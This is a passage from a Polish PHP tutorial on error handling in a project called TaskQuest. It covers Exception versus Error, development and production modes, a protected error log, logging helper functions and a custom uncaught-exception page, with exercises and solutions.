        echo "&lt;p>Złapane jako Exception: " . get_class($wyjatek) . "&lt;/p>";
    }
}</code></pre>



<p class="wp-block-paragraph">Nie musisz rozumieć <code class="prettyprint lang-sql" style="font-size: 0.85em;">callable</code> — to po prostu sposób na przekazanie kawałka kodu do funkcji. Pod spodem dopisz <strong>pięć</strong> wywołań <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdz(...)</code>, po jednym dla każdej sytuacji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. new DateTime('2026-13-45')
2. 10 / 0
3. trim(&#91;])
4. throw new Exception('Awaria pliku')
5. intdiv(10, 3)</code></pre>



<p class="wp-block-paragraph">Wzór pierwszego: <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdz(function () { new DateTime('2026-13-45'); });</code></p>



<p class="wp-block-paragraph"><strong>Zanim uruchomisz</strong>, wpisz w zeszycie przewidywanie dla każdego przypadku: „złapane” czy „wywali stronę”. Potem uruchom i sprawdź.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Trzy z pięciu przypadków to <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>. Zwróć uwagę, który przypadek przerwie stronę tak, że kolejne wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdz()</code> w ogóle się nie wykonają.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Żeby zobaczyć wszystkie pięć wyników, zacznij od przypadków, które są łapane. Nazwę klasy każdego błędu odczytasz z komunikatu PHP (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Uncaught ...</code>).</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. new DateTime('2026-13-45')   → ZŁAPANE — DateMalformedStringException (dziedziczy po Exception)
2. 10 / 0                       → NIE — DivisionByZeroError (Error), strona się przerywa
3. trim(&#91;])                     → NIE — TypeError (Error), strona się przerywa
4. throw new Exception(...)     → ZŁAPANE — Exception
5. intdiv(10, 3)                → bez błędu, wynik 3</code></pre>



<p class="wp-block-paragraph">Przypadek 1 to dokładnie sytuacja z pozycji „znane uproszczenia” Twojego projektu: termin o poprawnym kształcie, ale nieistniejący w kalendarzu, wywraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatTerminu()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code>.</p>



<p class="wp-block-paragraph"><strong>Wniosek dla TaskQuest:</strong> nie będziemy zamieniać <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception ...)</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Throwable ...)</code>. Zostawiamy dotychczasowy podział — przewidziane awarie łapiemy lokalnie, a dla błędów programisty zbudujemy w sekcji 6 <strong>jedną wspólną siatkę bezpieczeństwa</strong>.</p>
</details>



<h1 class="wp-block-heading">4. Tryb rozwojowy i produkcyjny</h1>



<h2 class="wp-block-heading">4.1 <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_reporting()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set()</code></h2>



<p class="wp-block-paragraph">Dwa ustawienia decydują o tym, co się dzieje z komunikatem błędu:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Ustawienie</th><th>Znaczenie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">error_reporting(E_ALL)</code></td><td><strong>które</strong> błędy PHP w ogóle bierze pod uwagę</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('display_errors', '1')</code></td><td>czy komunikat trafia <strong>na stronę</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('log_errors', '1')</code></td><td>czy komunikat trafia <strong>do pliku</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('error_log', ...)</code></td><td><strong>do którego</strong> pliku</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Te cztery ustawienia dają dwa sensowne zestawy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB ROZWOJOWY (Twój komputer)      TRYB PRODUKCYJNY (serwer, gracze)
error_reporting(E_ALL)              error_reporting(E_ALL)
display_errors = 1   ← widzisz      display_errors = 0   ← gracz nie widzi
log_errors = 1                      log_errors = 1       ← Ty czytasz z pliku
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę: <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_reporting(E_ALL)</code> jest w <strong>obu</strong> trybach. Wyłączanie ostrzeżeń na produkcji to najczęstszy błąd początkujących — problem nie znika, tylko przestaje być widoczny. Różnica między trybami dotyczy wyłącznie tego, <strong>kto</strong> dostaje komunikat.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set()</code> zmienia ustawienie PHP na czas jednego żądania. Trwale ustawia się je w <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>, ale wtedy dotyczą wszystkich aplikacji na serwerze — a Ty chcesz sterować samym TaskQuest.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Ważne ograniczenie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('display_errors', '0')</code> działa dopiero od momentu wykonania tej linii. Błąd składni w pliku, który PHP wczytuje jako <strong>pierwszy</strong> (czyli w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>), zdarza się wcześniej — takiego komunikatu ustawienie nie ukryje. To jedyny przypadek, którego nie da się objąć kodem; na serwerze załatwia go <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>. Zobaczysz to w Eksperymencie 2.</p>
</blockquote>



<h2 class="wp-block-heading">4.2 Włączamy tryby do TaskQuest</h2>



<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz w projekcie.</strong> Brudnopis zostaw, wróci w sekcji 7.</p>



<h3 class="wp-block-heading">Krok 1 — katalog na log</h3>



<ol class="wp-block-list">
<li>Utwórz w katalogu projektu katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/</code> (ręcznie, tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> w Lekcji 21 — aplikacja sama katalogów nie tworzy).</li>



<li>Utwórz w nim plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> o treści:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># TaskQuest (L23): log błędów nie jest do oglądania przez przeglądarkę.
Require all denied
</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego?</strong> Log będzie zawierał nazwy kolumn, ścieżki na dysku i fragmenty zapytań SQL — czyli dokładnie to, co w Lekcji 22 uznałyśmy za informacje wyłącznie dla programisty. Katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/</code> leży w katalogu publicznym serwera, więc bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> każdy mógłby wpisać adres pliku i przeczytać go w przeglądarce.</p>



<h3 class="wp-block-heading">Krok 2 — ustawienia w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></h3>



<p class="wp-block-paragraph">Na samej górze pliku, <strong>zaraz pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code></strong> i przed dotychczasowymi stałymi, dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- tryb pracy aplikacji (L23) ---
// true  = Twój komputer: błędy widać na stronie
// false = serwer: gracz widzi tylko ogólny komunikat, szczegóły idą do logu
define('TRYB_ROZWOJOWY', true);

define('PLIK_LOGU', dirname(__DIR__) . '/logs/taskquest.log');

error_reporting(E_ALL);
ini_set('log_errors', '1');
ini_set('error_log', PLIK_LOGU);

if (TRYB_ROZWOJOWY) {
    ini_set('display_errors', '1');
} else {
    ini_set('display_errors', '0');
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dirname(__DIR__)</code> znasz — <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code> to katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">dirname()</code> cofa o jeden poziom, do katalogu projektu. Tak samo liczona była kiedyś stała <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code>.</p>



<h3 class="wp-block-heading">Krok 3 — sprawdzenie</h3>



<ol class="wp-block-list">
<li>Zepsuj celowo nazwę kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> (w zapytaniu sql zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul2</code>) i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>



<li>Zajrzyj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code>. Powinien tam być wpis z datą i komunikatem <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>.</li>



<li>Wpisz w przeglądarce <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/logs/taskquest.log</code>. Serwer powinien odpowiedzieć <strong>403 Forbidden</strong>.</li>



<li><strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>.</strong></li>
</ol>



<p class="wp-block-paragraph">Jeśli pliku logu nie ma, sprawdź pisownię nazwy katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs</code>. PHP, jeśli nie może pisać do wskazanego pliku, <strong>nie zgłasza tego</strong> — po prostu milczy (Eksperyment 3).</p>



<h1 class="wp-block-heading">5. Log błędów</h1>



<h2 class="wp-block-heading">5.1 <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code></h2>



<p class="wp-block-paragraph">Ustawienia z sekcji 4 zajmują się błędami, które zgłasza samo PHP. Ale wyjątek złapany przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> <strong>nie jest</strong> dla PHP błędem — program go obsłużył, więc nic nigdzie nie trafia. To właśnie nasz przypadek: siedem bloków <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> w TaskQuest wyświetla komunikat graczowi i zapomina o sprawie.</p>



<p class="wp-block-paragraph">Do dopisania własnego wpisu służy <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log('Nie udało się połączyć z bazą danych.');
</code></pre>



<p class="wp-block-paragraph">Wpis trafia tam, gdzie wskazuje ustawienie <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log</code>, czyli teraz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code>. Datę i godzinę PHP dopisuje <strong>samo</strong> (strefa zależy od ustawienia <code class="prettyprint lang-sql" style="font-size: 0.85em;">date.timezone</code>), więc nie wołamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">date()</code>.</p>



<p class="wp-block-paragraph">Sprawdź to — dopisz tę linię tymczasowo na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, odśwież dowolną stronę, zajrzyj do logu i <strong>usuń linię</strong>.</p>



<h2 class="wp-block-heading">5.2 SAMODZIELNIE — dwie funkcje</h2>



<p class="wp-block-paragraph">Utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bledow.php</code> i napisz w nim dwie funkcje.</p>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void</code></strong> — zapisuje do logu jedną linię zawierającą: etykietę <code class="prettyprint lang-sql" style="font-size: 0.85em;">$gdzie</code>, nazwę klasy wyjątku, jego komunikat oraz plik i numer linii.</p>



<p class="wp-block-paragraph"><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatAwarii(Throwable $wyjatek): string</code></strong> — zwraca tekst <strong>dla gracza</strong>: w trybie rozwojowym komunikat wyjątku, w produkcyjnym jedno ogólne zdanie, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.</code></p>



<p class="wp-block-paragraph">Wymagania:</p>



<ul class="wp-block-list">
<li>typ parametru to <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> — te funkcje mają obsłużyć obie gałęzie z sekcji 3.3,</li>



<li>żadna z nich niczego nie wyświetla,</li>



<li>do logu <strong>nie trafia</strong> stos wywołań.</li>
</ul>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Nazwę klasy obiektu zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_class($obiekt)</code>. Plik i linię masz w metodach <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code> — poznałaś je w Lekcji 12 jako „informacje wyłącznie dla programisty”. Sklejanie tekstu znasz od Lekcji 1.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
{
    $opis = get_class($wyjatek) . ': ' . $wyjatek->getMessage()
        . ' (' . $wyjatek->getFile() . ':' . $wyjatek->getLine() . ')';

    error_log(/* ... etykieta i opis ... */);
}</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatAwarii()</code> wystarczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (TRYB_ROZWOJOWY)</code> i dwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje obsługi błędów TaskQuest (Lekcja 23).
// Plik wymaga config/config.php (stałe TRYB_ROZWOJOWY i PLIK_LOGU).

function zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
{
    $opis = get_class($wyjatek) . ': ' . $wyjatek-&gt;getMessage()
        . ' (' . $wyjatek-&gt;getFile() . ':' . $wyjatek-&gt;getLine() . ')';

    error_log('&#91;' . $gdzie . '] ' . $opis);
}

function komunikatAwarii(Throwable $wyjatek): string
{
    if (TRYB_ROZWOJOWY) {
        return $wyjatek-&gt;getMessage();
    }

    return 'Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.';
}
</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego dwie funkcje, a nie jedna?</strong> Bo mają dwa różne zadania i dwóch różnych odbiorców: log jest dla Ciebie, komunikat dla gracza. Zapis do logu ma się wykonać <strong>zawsze</strong>, niezależnie od trybu; treść komunikatu zależy od trybu. Gdyby to była jedna funkcja, nie dałoby się zalogować błędu bez pokazywania go.</p>



<p class="wp-block-paragraph"><strong>Dlaczego bez stosu wywołań?</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code> zawiera <strong>wartości argumentów</strong> funkcji. Wśród nich byłoby hasło przekazane do <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>. W Lekcji 22 ustaliłyśmy, że hasło nie trafia do <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>, sesji, komunikatów <strong>ani logów</strong> — ta reguła obowiązuje dalej.</p>
</details>



<h2 class="wp-block-heading">5.3 Włączamy funkcje do TaskQuest</h2>



<p class="wp-block-paragraph">Najpierw dołącz nowy plik. Na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, pod blokiem z kroku 4.2, dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once dirname(__DIR__) . '/includes/funkcje_bledow.php';</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>To wyjątek od naszej konwencji.</strong> Do tej pory pliki funkcji dołączały <strong>strony</strong>, a nie inne pliki. Tutaj robimy inaczej, bo obsługa błędów musi działać od pierwszej linii każdej strony, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> jest jedynym plikiem dołączanym na starcie <strong>wszystkich</strong> stron. Alternatywą byłoby dopisanie tej samej linii do dziewięciu plików — czyli dokładnie to, co w zadaniu B z Lekcji 22 uznałyśmy za rozwiązanie do poprawienia.</p>
</blockquote>



<p class="wp-block-paragraph">Teraz zmień <strong>siedem</strong> bloków <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. Wzorzec jest zawsze ten sam — było:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}
</code></pre>



<p class="wp-block-paragraph">ma być:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
    zapiszBladDoLogu($wyjatek, 'index.php — dane gracza i zadania');
    $bladBazy = komunikatAwarii($wyjatek);
}
</code></pre>



<p class="wp-block-paragraph">Miejsca i etykiety (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+Shift+F</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Zmienna</th><th>Etykieta <code class="prettyprint lang-sql" style="font-size: 0.85em;">$gdzie</code></th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php — dane gracza i zadania</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php — logowanie</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php — zakładanie konta</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php — zapis zadania</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php — zapis avatara</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code></td><td>(ramka awarii)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code></td><td>(ramka awarii)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> nie ma zmiennej z komunikatem — wyjątek jest wypisywany wprost w ramce awarii. Tam blok wygląda tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
    zapiszBladDoLogu($wyjatek, 'oznacz-wykonane.php');
    $bladAkcji = komunikatAwarii($wyjatek);

    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się oznaczyć zadania: ' . htmlspecialchars($bladAkcji) . '&lt;/p&gt;';
    // ... link powrotny, footer, exit (bez zmian)
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> zostaje, mimo że w trybie produkcyjnym komunikat jest wpisany w kodzie. W trybie rozwojowym nadal może zawierać tekst z bazy.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie:</strong> zepsuj nazwę kolumny, odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — ramka wygląda jak wcześniej, ale w logu jest wpis. Potem zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> i odśwież ponownie: gracz widzi ogólne zdanie, a log dalej ma szczegóły. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</strong></p>



<h1 class="wp-block-heading">6. Strona awarii — <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler()</code></h1>



<h2 class="wp-block-heading">6.1 Problem</h2>



<p class="wp-block-paragraph">Sekcja 5 zabezpieczyła wyjątki, które <strong>łapiemy</strong>. Zostaje druga gałąź z sekcji 3.3: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DivisionByZeroError</code>, wywołanie nieistniejącej funkcji. Te nadal kończą się komunikatem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code> ze ścieżką — a w trybie produkcyjnym, gdzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">display_errors</code> jest wyłączone, <strong>białą stroną bez żadnej informacji</strong>.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler()</code> ustawia funkcję, którą PHP wywoła dla każdego wyjątku, którego nikt nie złapał:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler('nazwaFunkcji');
</code></pre>



<p class="wp-block-paragraph">Funkcja dostaje jeden argument — obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code>. Po jej zakończeniu skrypt i tak się kończy, ale to <strong>my</strong> decydujemy, co zobaczy gracz.</p>



<p class="wp-block-paragraph">Handler obejmuje wszystko, co jest wyjątkiem lub błędem klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> — czyli także „Call to undefined function”. <strong>Nie</strong> obejmuje: błędów składni (plik w ogóle się nie wykonuje), przekroczenia limitu pamięci i czasu oraz zwykłych <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code> (te nie są wyjątkami — zajmują się nimi ustawienia z sekcji 4).</p>



<h2 class="wp-block-heading">6.2 SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">pokazAwarie()</code></h2>



<p class="wp-block-paragraph">Dopisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bledow.php</code> funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">pokazAwarie(Throwable $wyjatek): void</code>, która:</p>



<ol class="wp-block-list">
<li>zapisze błąd do logu z etykietą <code class="prettyprint lang-sql" style="font-size: 0.85em;">niezłapany wyjątek</code>,</li>



<li>ustawi kod odpowiedzi HTTP na 500, <strong>jeśli</strong> nagłówki nie zostały jeszcze wysłane,</li>



<li>wyświetli prostą stronę: nagłówek „TaskQuest”, zdanie dla gracza i link do <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>,</li>



<li><strong>tylko w trybie rozwojowym</strong> dopisze klasę wyjątku, komunikat, plik z numerem linii i stos wywołań.</li>
</ol>



<p class="wp-block-paragraph">Dwie wskazówki co do formy: nie używaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code> ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">footer.php</code> (awaria może dotyczyć właśnie ich — strona błędu nie może zależeć od tego, co się zepsuło) i pamiętaj o <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przy każdej wartości spoza kodu.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Do punktu 2 potrzebujesz dwóch funkcji: <code class="prettyprint lang-sql" style="font-size: 0.85em;">headers_sent()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, jeśli PHP wysłało już cokolwiek do przeglądarki, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">http_response_code(500)</code> ustawia kod odpowiedzi.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pokazAwarie(Throwable $wyjatek): void
{
    zapiszBladDoLogu($wyjatek, 'niezłapany wyjątek');

    if (!headers_sent()) {
        http_response_code(500);
    }

    echo '&lt;h1>TaskQuest&lt;/h1>';
    // ... zdanie dla gracza, szczegóły tylko gdy TRYB_ROZWOJOWY, link powrotny
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pokazAwarie(Throwable $wyjatek): void
{
    zapiszBladDoLogu($wyjatek, 'niezłapany wyjątek');

    if (!headers_sent()) {
        http_response_code(500);
    }

    echo '&lt;h1>TaskQuest&lt;/h1>';
    echo '&lt;p>Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.&lt;/p>';

    if (TRYB_ROZWOJOWY) {
        echo '&lt;p>&lt;strong>' . htmlspecialchars(get_class($wyjatek)) . ':&lt;/strong> '
            . htmlspecialchars($wyjatek->getMessage()) . '&lt;/p>';
        echo '&lt;p>' . htmlspecialchars($wyjatek->getFile()) . ':' . $wyjatek->getLine() . '&lt;/p>';
        echo '&lt;pre>' . htmlspecialchars($wyjatek->getTraceAsString()) . '&lt;/pre>';
    }

    echo '&lt;p>&lt;a href="index.php">← Wróć do TaskQuest&lt;/a>&lt;/p>';
}</code></pre>



<p class="wp-block-paragraph"><strong>Po co <code class="prettyprint lang-sql" style="font-size: 0.85em;">headers_sent()</code>?</strong> Kod odpowiedzi HTTP jest częścią nagłówków, a te lecą do przeglądarki <strong>przed</strong> treścią strony. Jeśli awaria zdarzy się w połowie listy zadań, nagłówki są już dawno wysłane i <code class="prettyprint lang-sql" style="font-size: 0.85em;">http_response_code()</code> zgłosiłby ostrzeżenie „Cannot modify header information — headers already sent”. To zresztą jeden z najczęstszych komunikatów, jakie zobaczysz w PHP — zawsze znaczy to samo: coś już zostało wypisane, a Ty próbujesz ustawić nagłówek (zobacz Eksperyment 5).</p>



<p class="wp-block-paragraph"><strong>Po co kod 500?</strong> Przeglądarka i wyszukiwarki poznają po nim, że strona nie została poprawnie wygenerowana. Bez tego awaria wygląda jak zwyczajna strona z tekstem.</p>
</details>



<h2 class="wp-block-heading">6.3 Włączamy handler</h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, w ostatniej linii pliku (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> z sekcji 5.3), dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler('pokazAwarie');
</code></pre>



<p class="wp-block-paragraph">Kolejność jest ważna: najpierw plik z funkcjami, dopiero potem rejestracja handlera — inaczej PHP nie zna jeszcze funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">pokazAwarie</code>.</p>



